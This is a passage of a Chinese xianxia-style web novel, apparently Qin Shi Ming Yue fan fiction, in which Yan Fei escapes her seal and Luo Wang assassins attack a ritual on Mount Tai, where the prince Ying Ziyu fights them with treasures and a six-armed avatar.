阳合手印、骷髅血手印接连拍出,与那无形的剑气悍然对撞!
“轰!嘭!”
气劲**声不绝于耳,整个廊道都在剧烈震颤,木屑纷飞,墙壁上被刻画出无数深深的划痕。
大司命功力虽不及掩日深厚,但阴阳术诡谲多变,尤其各种咒印与幻术层出不穷。
一时间竟也勉强缠住了掩日,打得有来有回。
赤红血光与吞噬光明的黑暗之力疯狂交织碰撞,将这片区域化作了极度危险的死亡地带。
而与此同时。
在蜃楼最底层,那间被无数强大符文封印,暗无天日的禁室之中。
外界激烈的打斗声,能量碰撞的轰鸣声,虽然经过层层削弱,依旧隐隐约约地传了进来。
一直**于地,仿佛石化般的焱妃,那双紧闭的眼眸,倏然睁开!
眼底深处。
不再是往日被囚禁的绝望与死寂,而是燃烧着一种近乎疯狂的决绝与希望之光!
“月儿……”
她干裂的嘴唇无声地翕动。
外面那隐约的混乱,以及一种血脉相连般的微弱悸动,让她瞬间判断出——
机会来了!
东皇太一不在,蜃楼内部空虚且陷入混乱,这是她等待了无数时日的唯一机会!
她不再有丝毫犹豫,双手艰难地抬起。
在被特制锁链束缚的有限空间内,开始结出一个极其复杂、古老、甚至带着一丝邪异气息的法印!
每结出一个手势,她脸色就苍白一分。
身体都因巨大的痛苦而微微颤抖。
那束缚着她的符文锁链发出刺眼的光芒,疯狂地压制着她体内试图涌出的力量!
但她不管不顾!
强行催动着被封印了无数岁月的、那属于阴阳家绝世天才的磅礴修为!
“咔嚓……”
细微到仿佛冰层碎裂的声音,自她体内深处响起。
那东皇太一亲手布下,坚固无比的封印。
在这位母亲倾尽一切的冲击下,终于……
开始松动了!
一丝丝精纯无比,却带着灼热毁灭气息的金色火焰,如同挣脱牢笼的幼龙。
开始从她的指尖,她的毛孔中渗透出来。
顽强地对抗着锁链上的封印符文!
……
月华如练。
冰冷地洒在章台宫肃穆的黑曜石地面上,却驱不散殿内那比夜色更深沉,比寒冰更刺骨的帝王威严。
嬴政高踞龙榻,玄衣冕旒在清辉下泛着幽光,面容隐于珠帘之后。
唯有那双眼眸,如同九幽深潭,倒映着殿下跪伏之人瑟瑟发抖的身影。
一名黑冰台密探,几乎将头埋进冰冷的地砖,声音因恐惧而抑制不住地颤抖。
“启…启禀陛下!”
“紧急密报!蜃楼…蜃楼突遭罗网**的袭击!”
“对方手段狠辣诡异,毫不留情!”
“星魂大人正与六剑奴交手,各处皆有战火,情况…情况不明!”
每一个字吐出,都仿佛用尽了他全身的力气。
殿内的空气凝固如铁,压得人喘不过气。
珠帘之后,良久无声。
那沉默,比任何咆哮都更令人窒息。
密探的冷汗瞬间湿透了后背,身体抖得如同风中落叶。
终于,嬴政缓缓开口。
声音并不高昂,却如同万载玄冰相互摩擦。
带着碾碎一切的绝对力量与寒意,每一个字都重重砸在殿宇之间,回荡不休!
“罗网…赵高。”
短短四字,已定乾坤!
他没有追问细节,没有流露丝毫惊讶。
仿佛一切早已在他掌控之中。
又或者说,任何背叛与动荡,都不足以让他动容。
下一刻,那蕴含着无上帝威与凛冽杀意的声音,如同九天惊雷,轰然降下。
“命黑冰台,即刻前往。”
“凡蜃楼之内,非阴阳家者……”
“格杀勿论!”
“诺!!”
密探如蒙大赦,又如同被无形的巨力碾压,几乎是爬着退出了大殿。
殿内重归死寂。
嬴政的身影在珠帘后巍然不动,唯有那弥漫开的帝威,如同实质的潮水,汹涌澎湃。
……
蜃楼之上。
战局已至白热。
星魂周身紫气虽依旧磅礴,却已不复最初之凝练,呼吸间带着不易察觉的急促,额角甚至沁出了细密的汗珠。
他以一敌六,对抗配合无间,杀戮本能刻入骨髓的六剑奴。
纵然其实力超凡,消耗亦是巨大。
另一边,大司命情况更为不堪。
她鲜艳的红裙已被剑气割裂多处,嘴角挂着一缕血丝,施展阴阳合手印的双手微微颤抖。
每一次与掩日那诡异黑暗的剑气对撞,都让她气血翻腾,内腑受创!
掩日却如同不知疲倦的阴影,攻势连绵不绝。
剑虽未完全出鞘,但那剑鞘点、扫、砸、刺,皆带着开山裂石的恐怖力量,逼得大司命险象环生!!
六剑奴眼神交汇。
真刚剑率先爆发,剑势如同山崩海啸,强行吸引星魂绝大部分注意力!
其余五柄杀剑则如同毒蛇出洞,抓住这稍纵即逝的间隙,从最刁钻的角度刺向星魂必救之处!
掩日也终于失去了耐心,一直未完全出鞘的掩日剑骤然滑出一尺!
仅仅是这一尺剑锋,一股吞噬光明的极致黑暗与锋锐便轰然爆发,化作一道扭曲的黑色闪电,直刺大司命心口!
这一剑,快、狠、准,已然动了绝杀之心!
星魂与大司命瞳孔同时收缩,感受到了致命的危机!
就在这千钧一发之际——
“轰!!!”
一声仿佛来自远古洪荒的巨响,猛地自蜃楼最深处炸开!
整个庞大的船体剧烈一震,如同被无形的巨锤狠狠砸中!
一股浩瀚、灼热、带着无尽威严与愤怒的恐怖威压,如同沉睡的火山骤然喷发,瞬间席卷了整个战场!
金光!
刺目无比的金色光芒从下层冲天而起,将半个夜空映照得如同白昼!
那光芒之中,蕴含着无比精纯与霸道的太阳真火之力!
一道身影,沐浴在无尽的金色火焰之中,如同自九天降临的火焰神女,缓缓自破开的大洞中升腾而起!
她身姿高挑,容颜绝美却冰冷如万载玄冰,一头乌发无风自动,发梢竟也燃烧着金色的火焰!
周身缠绕着断裂的符文锁链碎片,如同挣脱束缚的金凰!
正是东君——
焱妃!
她那双燃烧着金色火焰的眼眸,冰冷地扫过全场,目光所及之处,空气都仿佛要被点燃!
星魂、大司命、乃至掩日和六剑奴,
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所有的动作都在这一刻硬生生僵住!
每个人脸上都写满了极致的震惊与难以置信!
“东君焱妃?!你…你竟然破开了东皇大人的封印?!”
星魂失声惊呼,那孩童般的脸上第一次出现了骇然与一丝不易察觉的恐惧!
他比谁都清楚东皇太一布下的封印有多强大,更清楚全盛时期的东君焱妃有多么可怕!
大司命也是花容失色,下意识地后退半步,体内的气血因那恐怖的威压而翻腾得更加厉害。
掩日面具下的眼神剧烈闪烁,握剑的手下意识收紧。
六剑奴亦暂时停止了攻击,如同最警惕的野兽,重新汇聚在一起,凝重地面对这突如其来,远超预期的恐怖变数!
焱妃的目光四处搜寻,周身燃烧的金色火焰猛地暴涨,整个蜃楼顶层的温度骤然升高!
“我的女儿……”
她的声音清冷无比,却蕴含着足以焚天煮海的怒火。
“她在哪儿?”
那恐怖的威压如同实质般压向数名**。
那些人顿时如遭重击,双腿一软,差点跪倒在地!
掩日强顶着那令人窒息的威压,踏前一步,挡在手下身前,沙哑的声音透过面具传出。
“东君大人息怒。”
“高月小姐只是略显受惊,安然无恙。”
“吾等奉命,已将她带往泰山之地好生照料。”
“待东君大人助我家首领顺利开启苍龙七宿,小姐自然完璧归赵。”
这话语恭敬,实则威胁之意昭然若揭!
焱妃眼中金色火焰猛地一凝,杀意瞬间暴涨到极致!
“你敢威胁我?!”
话音未落,她的身影竟原地消失!
下一瞬,已然如同瞬移般出现在掩日面前!
速度快到超出了肉眼捕捉的极限!
掩日大惊失色,一直未曾完全出鞘的掩日剑瞬间全部拔出!
那是一柄仿佛能吸收所有光线的纯黑之剑,剑出的刹那,周围的光线都为之扭曲暗淡!
然而,焱妃只是看似随意地一抬手,那纤白如玉的手掌之上,覆盖着凝练到极致的金色火焰,精准无比地拍在了掩日剑的剑脊之上!
“铛——!!!”
一声震耳欲聋的爆响!
仿佛洪钟大吕被巨力撞击!
掩日只觉得一股无法形容,灼热而狂暴的巨力顺着剑身疯狂涌来!
虎口瞬间崩裂,鲜血淋漓,那柄伴他多年的名剑掩日,竟险些脱手飞出!
他整个人更是被这股巨力震得踉跄**十数步。
每一步都在坚硬的甲板上留下深深的脚印,体内气血翻江倒海!
还不等他稳住身形,一只燃烧着金色火焰的手掌已然突破了他所有的防御,精准无比地扼住了他的咽喉!
恐怖的太阳真火之力瞬间侵入体内,灼烧着他的经脉,带来撕心裂肺的剧痛!
掩日面具下的脸瞬间涨红,青筋暴起,眼中终于露出了骇然之色!
他毫不怀疑。
只要对方稍微用力,自己的脖子连同神魂都会被这可怕的火焰瞬间焚为灰烬!
“你…再威胁一次试试?”
焱妃的声音冰冷得如同万载寒冰,那双燃烧的金眸近在咫尺,里面是毫不掩饰,如同火山般的杀意!
死亡的阴影瞬间笼罩了掩日!
但他毕竟是罗网天字一等中的顶尖**,心志极其坚韧,他强忍着剧痛和恐惧,从喉咙里挤出嘶哑的声音。
“东君大人…也不想…小姐有什么意外吧?!”
第321章 靠近者,格杀勿论!
“你!”
焱妃手上力道猛地加重,火焰灼烧得掩日的脖颈发出“滋滋”的可怕声响!
但,这句话,像一根最冰冷的针,刺入了她作为母亲最柔软的地方!
她眼中的杀意与愤怒疯狂交织,女儿落入罗网手中的画面不断闪现。
最终。
那滔天的杀意缓缓收敛,化为一种更深沉、更冰冷的寒意。
她猛地一甩手,如同丢弃一件垃圾般,将掩日狠狠掼在地上!
“滚!”
掩日剧烈地咳嗽着,捂着几乎被烧焦的脖颈,艰难爬起,眼中却闪过一丝计谋得逞的阴冷。
就在这时。
一名罗网**疾奔而来,声音急促。
“大人!黑冰台的人来了!”
“数量不少,正从港口方向快速逼近!”
焱妃闻言,金色眼眸冷冷地扫过脸色难看的星魂和大司命,声音不带一丝感情。
“念在同为阴阳家一场,今日,我不杀你们。”
说完,她不再有丝毫留恋。
转身,金色火焰包裹周身,化作一道璀璨的金虹,瞬间朝着泰山方向疾射而去!
目标明确——
她的女儿,以及那场被当作筹码的苍龙七宿仪式!
掩日不敢怠慢,强忍着伤势,一挥手。
“我们走!”
罗网**们如同潮水般迅速退去,融入黑暗之中。
留下星魂和大司命,以及一片狼藉,死伤狼藉的蜃楼。
星魂艰难地站稳身体,看着焱妃和罗网消失的方向,又看了看迅速接近的黑冰台人马。
那张孩童般的脸上充满了前所未有的愤怒与**!
他死死攥紧了拳头,周身的紫色气刃因他的情绪波动而剧烈闪烁。
“立刻……”
他从牙缝里挤出冰冷彻骨的声音。
“将此地发生的一切,即刻传讯于首领大人!”
“东君破封,与罗网勾结,目标……泰山!”
……
黎明前。
最黑暗的时刻。
章台宫内烛火通明,却比殿外的寒风更加刺骨。
黑冰台统领跪伏于地,额头紧紧贴着冰冷的地砖,大气不敢喘,将蜃楼之变的详细战报一字不落地禀报完毕。
星魂力战,大司命重伤,东君焱妃破封而出,罗网劫持高月,黑冰台抵达时只剩残局……
每一个字都如同淬毒的冰锥,狠狠扎入这帝国权力核心的死寂之中。
御阶之上,珠帘之后。
那股一直沉寂如渊的帝威,骤然如同积蓄了万载的火山,轰然爆发!
没有怒吼,没有质问。
只有一种近乎绝对零度,足以将灵魂都冻结的冰冷杀意,瞬间充斥了整座大殿的每一个角落!
烛火疯狂摇曳,仿佛下一瞬就要彻底熄灭!
黑冰台统领的身体抑制不住地剧烈颤抖起来。
仿佛下一秒就会被这股无形的恐怖力量碾碎成齑粉。
良久,那仿佛来自九幽黄泉最深处,冰冷得不带一丝人类情感的声音,透过珠帘,缓缓响起。
每一个字,都如同万钧玄铁,重重砸落。
“赵高……”
二字吐出,带着碾碎一切的决绝与帝王的雷霆之怒。
下一刻,旨意降下,如同天罚!
“传朕令。”
“罗网组织,叛国逆贼,天下共诛!”
“凡罗网所属,凡赵高及其党羽……”
“天下郡县,四海之内,凡发现其踪迹者——”
声音在此刻微微一顿,那凝练到极致的杀意几乎化为实质。
“无须奏禀,无须审讯……”
“即刻斩杀!”
“诺!!!”
黑冰台统领用尽全身力气嘶吼出这个字,几乎是踉跄着退出大殿,背后的衣衫已被冷汗彻底浸透。
……
泰山之巅,玉皇顶。
虽值正午,天色却诡异地迅速昏暗下来。
并非乌云蔽日,而是仿佛有一张无形的巨幕缓缓拉过天穹,吞噬了日光。
让白昼提前步入黄昏,继而向着深夜滑落。
星辰,本不该此时出现的星辰。
开始一颗接一颗地在天幕上诡异浮现,越来越清晰,越来越明亮!
最终,当那轮皎洁的明月,违反常理,清晰地悬挂于正空,与黯淡的太阳并悬于天时。
整个泰山之巅已被一种非自然的夜幕所笼罩!
清冷的月华如同实质的光柱,倾泻而下,精准地笼罩住整个祭坛广场。
阵法,已然自行运转!
地面上。
那由秘银宝石勾勒出的巨大阵图爆发出刺目的光芒,无数玄奥的符文如同活物般流动、组合、共鸣。
七个黑色石柱上,除了赢子夜和赤练之外,五名“祭品”发出痛苦的**。
他们的精血被阵法强行抽取,化作一道道能量流,注入悬浮于东皇太一身前的七个宝盒之中。
东皇太一屹立阵眼中心,宽大的黑袍无风狂舞,双手结印速度快到留下残影,口中吟诵着古老晦涩的咒文。
浩瀚如星海的力量从他体内奔涌而出!
引导着,放大那从天而降的磅礴月华,全力灌注宝盒!
月神神情肃穆,将手中那瓶属于赢子夜和赤练的血液倾洒而出。
殷红的血珠并未落地,而是在月华与阵法之力的作用下,悬浮于空。
化作无数细密的血色符文,融入那个嗡鸣震颤,光华越来越盛的韩盒表面。
云中君几位长老分列三角,脸色苍白,汗如雨下。
将自身功力毫无保留地注入阵法节点,维持着这惊天动地仪式的稳定。
整个玉皇顶,都被一种神圣、诡异、令人心悸的庞大能量场所充斥!
空气在震颤,空间仿佛都在扭曲!
七个宝盒的光芒越来越盛,逐渐连成一片。
仿佛要化作一条光之巨龙,冲天而起!!
赢子夜玄衣玉冠
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,静立于祭坛边缘,面色沉静如水。
但那双深邃的眼眸却锐利如鹰隼,仔细地扫视着四周的每一个角落,不放过任何一丝风吹草动。
他知道,此刻才是最关键,也最危险的时刻!
而他身后。
焰灵姬指尖跳跃着幽蓝火焰。
少司命周身萦绕着淡紫色的落叶。
雪女脚下寒气弥漫凝结冰霜。
端木蓉手中扣紧了银针与药囊。
诸女皆已全力戒备!
她们都能感受到那阵法中心汇聚的恐怖力量,以及这力量可能引来的觊觎与危机。
所有明暗守卫都屏住了呼吸,握紧了兵刃,神经紧绷到了极致!!
天地异象,力量汇聚,仪式已至最关键处!!
任何一丝干扰,都可能引发无法预料的后果!!
风暴的中心,反而呈现出一种极致的令人窒息的“平静”。
但这平静之下,是滔天的能量暗流与一触即发的杀机!
赢子夜的目光最后扫过那光芒万丈的阵法与宝盒,眼中闪过一丝凝重。
该来的,终究要来了!
……
泰山脚下,五里外隐秘军营。
韩信按剑立于瞭望台上,正严密监控着各条通道。
忽然,他猛地抬起头,瞳孔骤然收缩!
不仅是他,营地中的所有将士,隐藏在更远处山林中的暗河**,乃至那些被镣铐锁着躁动不安的噬牙狱凶徒。
此刻都不约而同地抬起头。
望向那巍峨的泰山主峰之巅!
只见原本晴朗的天空,竟以肉眼可见的速度迅速黯淡下来!
白日隐退,夜幕诡异地降临。
星辰浮现,一轮明月违反常理地高悬中天。
将清冷皎洁,却过于集中的月华如同探照灯般投向玉皇顶方向!
即便相隔数十里,众人也能清晰地感受到,一股难以形容,浩瀚磅礴又令人心悸的能量正在那山巅疯狂汇聚!
空气微微震颤,仿佛有无形的巨浪以泰山为中心向着四周扩散!
“这…这是……”
一名禁军副将张大了嘴,声音因震惊而颤抖。
韩信脸色无比凝重,手死死握住剑柄,骨节发白!
他虽然早已知道此行任务非同小可,却也没想到竟会引出如此惊天动地的天地异象!
那山巅之上汇聚的力量,让他这等久经沙场,心如铁石之人,都感到一阵莫名的敬畏与恐惧。
“全军听令!”
韩信猛地回神,声音嘶哑却带着决绝。
“弓上弦,刀出鞘!封锁线再向外推进十里!”
“任何胆敢靠近者,无论何人,格杀勿论!!!”
“诺!”
麾下将士虽心有余悸,却依旧轰然应命,森然杀气冲散了部分心中的震撼。
暗处的暗河探子与噬牙狱凶徒们,也都下意识地屏住了呼吸,将身体隐藏得更深,眼中充满了警惕与嗜血的兴奋。
第322章 斗转星移,白日星现!
与此同时。
在另一处更为隐蔽的山谷之中。
赵高如同一株生于阴影中的毒草,静静站立。
他身后,是如同鬼魅般肃立的六剑奴,气息凶戾狂暴的螭与其麾下九魔……
以及密密麻麻,眼神冰冷麻木的罗网“天”、“杀”、“地”、“绝”等精锐**!
他们也同样看到了那笼罩泰山之巅的诡异天象,感受到了那令人灵魂战栗的能量波动。
螭舔了舔干裂的嘴唇,眼中闪烁着野兽般的贪婪与兴奋。
“首领,好强的力量…吃了它,一定能变得更强!”
九魔发出压抑不住,如同磨牙般的低吼。
周身散发出实质般的血腥煞气!
六剑奴虽沉默,但那六双毫无感情的眼睛,也齐齐望向山巅,握紧了手中的剑。
赵高枯瘦的脸上,缓缓扯出一个极其扭曲,充满野心与疯狂的笑容。
那笑容越来越大,最终化为一声低沉而沙哑的冷笑。
“呵…呵呵…开始了……终于开始了!”
他猛地抬起手,那双阴鸷的眼中爆射出骇人的精光,声音尖锐如同夜枭啼叫,响彻整个山谷!
“下令——”
“所有罗网所属……”
“出手!”
“诺!!!”
身后,如同打开了地狱的闸门,冰冷的杀意冲天而起!
无数黑影如同决堤的黑色洪流,无声无息却又快如闪电,向着那月华汇聚之地,发起了冲锋!
……
那轮违反常理的明月高悬。
将清冷诡异的光辉洒满山峦。
“杀——!!”
一声尖锐如鬼啸的指令划破凝滞的空气!
下一刻,如同地狱之门洞开!
无数身着夜行衣,眼神麻木冰冷的罗网**——
“天”、“杀”、“地”、“绝”各级精锐,如同决堤的黑色潮水,从密林、山涧、乱石滩中疯狂涌出!
他们沉默无声。
唯有兵刃出鞘的摩擦声和迅疾如风的脚步声汇聚成一股令人牙酸的死亡交响!
朝着韩信布防的封锁线发起了亡命冲击!!
紧随其后的是更加恐怖的存在!
螭发出一声非人的咆哮,周身肌肉贲张,血管如同虬龙般凸起,眼中闪烁着纯粹的,毁灭一切的疯狂!
他率先冲出,每一步都踏得地面龟裂!
其身后,九道同样散发着滔天凶戾之气的身影——
九魔!
他们曾是人,此刻却更像是从尸山血海中爬出的恶鬼!
有的手持门板般的巨刃,有的利爪森然,有的口吐毒雾,带着碾碎一切的狂暴气势,悍然撞向军阵!
“迎敌!!!”
韩信早已拔剑在手,面对这铺天盖地而来的死亡洪流,脸上毫无惧色,唯有冰冷的战意!
他长剑所指,声如雷霆!
“风!风!风!”
大秦禁军精锐爆发出震天动地的怒吼!
盾牌瞬间重重顿地,组成钢铁壁垒!
长戟如林,从盾牌缝隙中猛地刺出,闪烁着冰冷的寒芒!
**手位于阵后,箭矢如同飞蝗般离弦,带着凄厉的破空声,精准地覆盖向冲锋而来的罗网先锋!
“噗嗤!噗嗤!”
冲在最前的数十名罗网**瞬间被射成了刺猬,惨叫着倒地!
但后续者仿佛毫无情感,踏着同伴的尸体,速度丝毫不减,如同鬼影般扑向军阵!
“暗河!杀!”
阴影之中,公孙墨玄冰冷的声音响起!
无数道黑影如同从地底钻出,精准地迎上了那些试图凭借诡异身法突破军阵的罗网“地”字级**!
**、短刀、**、钢丝……
最要命的杀戮技巧在阴影中激烈碰撞,无声却更加致命!
每一次闪烁,都伴随着鲜血的泼洒和生命的消逝!
“吼!!!”
噬牙狱的凶徒们,也被这血腥味彻底激发了凶性!
他们戴着特制镣铐,却反而将其当作武器,狂笑着、嘶吼着……
如同出柙的猛虎,主动扑向那些气息最强的“天”字级**和恐怖的九魔!
他们打法疯狂,以伤换伤,以命搏命!
用最原始的血腥与暴戾,硬生生拖住了罗网最顶尖的战力!
“黑冰台!清剿逆贼!”
另一侧,奉命赶来的黑冰台锐士也加入了战团!
他们训练有素,配合默契,结成的战阵如同磨盘,冷酷地绞杀着落入其中的罗网**!
整个泰山脚下,瞬间化作了血肉磨坊!
金属撞击的爆响,利刃入肉的闷响,骨骼碎裂的脆响,垂死的哀嚎、疯狂的怒吼……
各种声音交织在一起,震耳欲聋!
箭矢横飞,剑气纵横,毒雾弥漫,火焰爆裂!
螭一拳轰出,直接将一名噬牙狱凶徒连人带盾砸成肉泥!
但立刻有三四名凶徒红着眼睛扑上,用牙齿、用指甲、用镣铐疯狂地撕咬攻击!
一名罗网“天”字级**剑法诡异,瞬间刺穿了两名禁军咽喉。
却被一名黑冰台高手从背后一刀劈中肩胛!
暗河的**如同真正的影子。
每一次闪现都必然带起一蓬血花。
但罗网的“杀”字级也同样精于暗杀,双方在阴影中进行着最凶险的博弈!
韩信长剑挥洒,剑光如龙!
她亲自挡下了螭的又一次狂暴冲击,虽被震得气血翻腾,却寸步不退,厉声指挥着军阵变换。
死死扼守着通往山巅的要道!!
战场如同一个巨大的漩涡,疯狂地吞噬着生命。
鲜血染红了土地,残肢断臂四处飞散。
罗网攻势如潮,悍不畏死。
帝国一方则凭借军阵之利与多方配合,死战不退!
厮杀声、**声、怒吼声直冲云霄,与山巅那寂静却更加恐怖的月光阵法形成了诡异而惨烈的对比!
……
泰山之巅,玉皇顶。
天地异象已至极致。
白日星现,月华如柱。
磅礴的能量疯狂涌入阵法,灌注于那七个光芒万丈,嗡鸣震颤的宝盒之中。
东皇太一与几位长老全力维持着仪式,脸色苍白,汗出如浆。
显然已至最关键的时刻!
月神亦全神贯注,引导着那血脉符文与月华、宝盒之力融合。
整个祭坛都在这恐怖的能量波动中微微震颤,空气扭曲,发出低沉的嗡鸣。
就在这令人窒息的能量潮汐中。
公孙墨玄的身影如同鬼魅般悄无声息地出现在赢子夜身侧。
他气息微喘,显然是以极快速度赶回,声音凝重而急促:“殿下!山下…罗网**大举来袭!”
“韩信将军正率军死战
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!”
“暗河、噬牙狱、黑冰台皆已投入战斗!”
“然敌军势大,尤其有数个气息极其凶戾之辈,还有百越九魔也来了,防线……恐难以持久!”
赢子夜闻言,脸上非但没有惊慌,反而露出一抹冰冷彻骨的笑意。
他抬眸,望向那被月华笼罩的阵法核心,又扫过山下隐约传来的喊杀声,声音平静却带着凛冽的杀意。
“终于按捺不住了么?”
“赵高这条老狗,到底还是跳出来了。”
他的目光转向全力维持阵法的月神和东皇太一等人,沉声道:“东皇阁下,月神大人,尔等只需专心开启苍龙七宿,维持阵法运转,不容有失!”
“山下宵小,以及可能漏网之鱼……”
他缓缓踏前一步,玄衣在狂暴的能量风中猎猎作响,周身一股睥睨天下的霸气油然而生!
“交给本公子。”
话音未落,两道身影已无声地出现在他左右两侧。
一袭红裙,妖娆如火,焰灵姬指尖跳跃着幽蓝色的火焰,美眸中闪烁着兴奋与危险的光芒,舔了舔红唇。
“早就手痒了,正好拿这些藏头露尾的家伙试试新练的火焰。”
一旁,紫发垂肩,眼蒙薄纱的正妻少司命静立无言。
唯有周身萦绕的淡紫色落叶无风自动,速度悄然加快,散发出空灵而致命的气息。
她微微颔首,表明了她的态度。
“走!”
赢子夜不再多言。
一声令下,身形率先而动,如同离弦之箭,径直冲向那通往山下战场的石阶路径!
焰灵姬娇笑一声,化作一道赤红流火紧随其后。
少司命身影飘忽,如同没有重量的紫色叶片,悄无声息地跟上。
三人如同三把出鞘的利刃,带着决然的杀意,逆着那冲天而起的能量光柱,悍然迎向正从山下疯狂涌来的死亡洪流!
山巅的仪式依旧在继续。
而那守护这最终仪式的血战……
已然由帝国公子,亲自接手!
……
泰山山道之上。
已成一片血腥炼狱。
尸体堆积,残肢遍地,秦军与罗网**的厮杀已进入白热化。
而战场的核心,却聚焦在那一处——
赢子夜独战螭与九魔!
拳风呼啸,爪影撕裂空气。
螭的每一次扑击都带着蛮荒巨兽般的恐怖力量,地面被他踩得不断龟裂!
那九魔更是如同疯狗,攻势癫狂狠辣,配合默契!
各种阴毒武功,甚至带着腐蚀性的魔气不要命地向赢子夜倾泻!!
赢子夜身形如电,在**般的**中穿梭!
手中一柄看似古朴的长剑挥洒出道道凌厉无匹的剑气!
每一次碰撞都爆发出震耳欲聋的轰鸣!
他眉头微蹙,眼中闪过一丝凝重。
“这些家伙…比起当初在百越交手时,强了不止一筹!”
他能清晰地感觉到,螭的力量更加狂暴。
那九魔的内力也变得更加阴毒凝练,显然是用了某种极端的方法强行提升了实力。
“赵高为了今天,真是下了血本!”
久守必失!
一名九魔成员如同壁虎般贴地疾行,毒爪直掏赢子夜脚踝!
另一侧,螭的巨拳如同陨石般当头砸下!
前后夹击,险象环生!
第323章 西域,才是最后的赢家!
“殿下!”
正在不远处以火焰逼退数名“天”字级**的焰灵姬惊呼出声。
少司命紫眸一凝,周身万叶齐发,试图阻拦,却被另外两名九魔悍不畏死地以身体硬生生挡住!
就在这千钧一发之际!
赢子夜眼中猛地爆射出璀璨的精光!
一股远超之前,浩瀚如星海般的恐怖气息骤然从他体内爆发!!!
“既然你们找死,那便让你们看看…何为真正的力量!”
他不再有丝毫保留!
心念一动!
“嗡——!”
一尊高达数丈,凝练如实质,生有六条巨臂的暗金色法相轰然自身后浮现!
没错!
赢子夜这段时日,更是已将自身法相凝练至最顶级的暗金鎏甲的境界!!!
而这一次。
法相面目威严,六臂各持不同的能量兵器——
皆是赢子夜目前能拿出来,秒杀到的,最厉害的神兵!!
剑、戟、钟、塔、印、镜!
煌煌神威,如同天神降世!
这还没完!
他抬手间,一枚龙眼大小,散发着七彩霞光的丹药直接吞入口中。
七彩蕴神丸!
精神力瞬间暴涨,感知与控制力达到前所未有的高度!
又一枚符文闪烁的玉符被捏碎——
小挪移符!
身形瞬间变得虚幻不定,螭那必杀的一拳竟直接穿透了虚影,狠狠砸在地上,留下一个巨坑!
同时,他本体手中那柄古朴长剑光华大放!
剑身浮现出龙纹虚影!
神兵“流光”真正觉醒!!
一剑挥出,龙吟乍响!
剑气化作实质的金龙,直接将那名偷袭的九魔成员连人带毒爪绞碎成漫天血雾!
“什么?!”
“怎么可能?!”
螭和剩余的八魔瞳孔骤缩,脸上同时露出骇然与难以置信的神色!
他们感受到那法相带来的恐怖威压,看到那层出不穷的珍稀宝物。
一股巨大的危机感与难以抑制的贪婪同时涌上心头!
这赢子夜,身上到底有多少好东西?!
在百越时他便见识过,各种神兵利器不要钱的砸出来自爆。
当时看得他心疼不已。
不远处,焰灵姬刚刚用幽火将一个**烧成焦炭,看到这一幕,红唇微张。
美眸中充满了震惊与一种莫名的“酸意”,不禁脱口而出:
“他……他到底从哪弄来这么多宝贝?!”
话一出口,她猛地想起当初在百越,自己被少司命用火雨玛瑙狂轰滥炸的狼狈场面。
顿时气得牙痒痒,又有些哭笑不得。
这家伙的好东西,简直比阴阳家的藏宝库还离谱!
少司命周身落叶盘旋,清冷的眼眸中也掠过一丝极淡的波澜,却仅仅只是担心之色。
而正在死战的韩信等人,余光瞥见那尊骇人的法相和宝光,也是心神震撼不已!
“杀了他!夺宝!”
螭彻底疯狂了,双眼赤红,咆哮着再次扑上,双臂肌肉贲张如同怪**,轰向法相!!
剩余的八魔也压下恐惧,眼中只剩下贪婪与凶戾,从各个方向发动了更疯狂的攻击!!
各种压箱底的邪功秘法毫无保留地使出。
毒雾、血咒、骨刃、魂啸……
铺天盖地涌向赢子夜!
“蝼蚁撼树!”
赢子夜立于法相之下,面色冷峻。
精神力在丹药作用下高度集中,法相六臂齐动!
剑臂斩出开天剑罡!
戟臂搅动风云!
钟臂震荡发出撼魂魔音!
塔臂**而下!
印臂盖落如山!
镜臂反射一切邪咒!
同时他本体手持“流光”,身如游龙,配合着小挪移符带来的诡异位移。
剑光每一次闪烁,都必然带起一蓬鲜血残肢!
宝物、法相、丹药、神兵……
赢子夜将“氪金”战术发挥到了极致!
一时间,竟以一人之力,硬生生压制住了实力暴涨的螭与八魔的疯狂**!
战斗场面华丽而暴力,看得所有人眼花缭乱,心惊肉跳!
螭等人越打越惊,越打越怒,却也越打越眼红!
赢子夜每一次拿出新的宝物,都像是在他们贪婪的心火上浇下一桶热油!
……
与此同时。
在远离主战场硝烟的一处隐秘山坳。
怪石嶙峋,阴影深重。
一群与中原人服饰迥异的身影,如同沙漠中的蜥蜴,完美地隐匿其中。
他们身披带有风沙侵蚀痕迹的粗布斗篷。
脸上涂抹着诡异的油彩。
眼神锐利而冰冷,正无声地注视着山下那场惨烈无比的厮杀。
他们的目光,并非寻常看客的震惊或恐惧,而是一种冷静到极致的审视与记录。
如同猎人在评估猎物的强弱与习性。
“记录。”
一个苍老、沙哑,带着奇异韵律的声音低低响起。
发声者是一位身形佝偻,手持一根镶嵌着骷髅头骨古老木杖的老者——
正是这群人的首领。
一
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位来自西域某国的萨满巫师。
他脸上布满深深的皱纹,眼神却幽深得如同古井,倒映着山下战场的光影。
身旁,几名同样装扮的随从立刻拿出某种兽皮卷和特制的颜料笔,开始飞速地勾勒、记录。
萨满巫师干枯的手指缓缓抬起,木杖尖端依次点向战场中几个显眼的身影,用一种古老晦涩的语言低声吩咐。
那声音仿佛不是通过空气传播。
而是直接响在随从们的心底。
“看那个穿蓝衣,用冰的女人,她的寒气能冻结血脉,迟缓动作……”
“需以‘炎阳咒’或沙克族的炽热刀锋应对。”
木杖移动,指向那团妖艳的火焰:“那个红衣女人,火灵之体,操控幽冥之火,诡谲难防……”
“让精通‘汲水术’的祭司对付她,或以‘黑曜石镜’反射其火!”
他又指向如同鬼魅般在阴影中收割生命的暗河**:“那些藏于暗处的刺客,身法诡异,一击必杀……”
“需提前布下‘感应尘’,或以范围性的沙暴术逼他们现形。”
他的目光扫过正以银针救人,或悄无声息让敌人瘫软倒地的端木蓉。
“那个医女,用毒手段高超,救人亦能**……”
“派毒蛊师去招呼她,让她尝尝西域奇毒的滋味。”
最后,他的目光久久停留在那尊显眼无比,六臂挥动的巨兵法相,以及其下宝光冲天的赢子夜身上。
眼中,闪过一丝极其凝重与深深的忌惮。
“至于那个秦国王子……”
萨满巫师的声音变得更加低沉沙哑。
“他身上的神恩太过浓厚,宝物层出不穷,力量属性复杂…非一人可敌。”
“需由我亲自主持困神祭舞,再集合巨力士、破甲者、咒术师合力牵制!”
“甚至…必要时动用那件从古迹中挖出的‘禁物’,方有可能将其暂时困住或击伤。”
他收回木杖,眼中闪烁着算计与冷酷的光芒:“记住他们的手段,记住他们的弱点。”
“秦国的力量果然深不可测,但这些情报,将是我们未来与之交锋时,最宝贵的财富……”
“或许,也是我们能否从中夺取神恩的关键。”
“是,大萨满!”
